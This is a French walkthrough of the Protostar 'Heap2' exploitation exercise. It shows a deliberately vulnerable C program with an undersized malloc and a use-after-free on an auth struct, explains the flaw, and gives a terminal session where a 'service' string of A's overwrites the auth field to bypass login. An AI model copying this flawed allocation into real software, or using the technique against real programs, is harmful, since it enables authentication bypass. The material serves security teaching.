====== Heap2 ======
#include
#include
#include
#include
#include
struct auth {
char name[32];
int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
On remarque (pas immédiatement si ça peut vous rassurer) que le ''malloc'' au niveau de ''auth'' n'est pas de la bonne taille. ''sizeof(auth)'' renvois 4, alors que nous devons allouer un buffer de 36 octets ! ''auth'' est en fait un pointeur, donc il fait 4 octets en mémoire, pour avoir la bonne taille, il aurait fallu mettre ''sizeof(struct auth)''.
On va donc pouvoir écrire grâce à la variable ''service'' par dessus là où devrait être notre variable ''auth'' de ''struct auth''. Il faut savoir que la fonction ''strdup'' duplie une chaine dans un espace mémoire alloué à la bonne taille grâce à un ''malloc'' puis renvois l'adresse de ce buffer.
user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth BBBB
[ auth = 0x804c008, service = (nil) ]
service AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!